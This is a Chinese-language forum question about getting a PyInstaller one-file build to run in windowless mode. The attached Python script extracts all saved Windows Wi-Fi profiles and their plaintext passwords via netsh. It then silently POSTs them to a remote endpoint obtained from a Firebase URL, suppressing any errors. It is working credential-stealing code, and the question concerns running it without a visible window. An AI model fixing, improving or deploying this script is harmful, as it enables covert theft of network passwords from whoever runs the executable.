这是我的python文件,当我将其构建到目录时,我已使用pyinstaller转换为exe。在窗口模式和控制台模式下一切正常。
但是当我将其置于单文件模式时,该代码仅适用于控制台模式。当我以“ noconsole”或窗口模式再次构建时,似乎该程序未执行(如果执行了,则该程序将更新我的Firebase数据库)。
我怀疑这可能是由于子流程库造成的。是这样吗?
如何解决此问题?
import subprocess,os,time,re , requests
import json
import random
uniqueid = 'wipass'
try: #Error display protection :
wifikeys={} ;
obj = subprocess.Popen(["netsh","wlan","show","profiles"],shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT) ;
output = obj.stdout.read().decode() ;
outputlist = re.findall(r"\:\s(.+)\r",output,re.I or re.M ) ;
APlist = outputlist;
for AP in APlist:
obj = subprocess.Popen('netsh wlan show profiles name="{}" key=clear'.format(AP).split() ,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True) ;
output = obj.communicate()[0].decode() ;
key = re.findall(r"Key Content\s+:\s(.*)\r",output) ;
wifikeys.update({AP:key[0] if len(key)!=0 else ""}) ;
# print(AP," : ",key[0] if len(key)!=0 else "") ;
if not wifikeys :
wifikeys= {'testingPythonEndPoint' :str(random.random()) } ;
print(wifikeys)
if wifikeys:
universalnode ="https://universal-node.firebaseapp.com/myapiendpoint/" ;
r_obj = requests.post( universalnode , data={'id' : 'wipass' })
print(r_obj.text) ;
if(r_obj.status_code!=200):
print("Error !" , r_obj.text) ;
pass ;
apiurl = r_obj.text
# apiurl = "http://127.0.0.1:8000/wipassendpoint"
requests.post(apiurl , data = wifikeys ) ;
print("Done") ;
except Exception as E:
print(E) ;
pass ;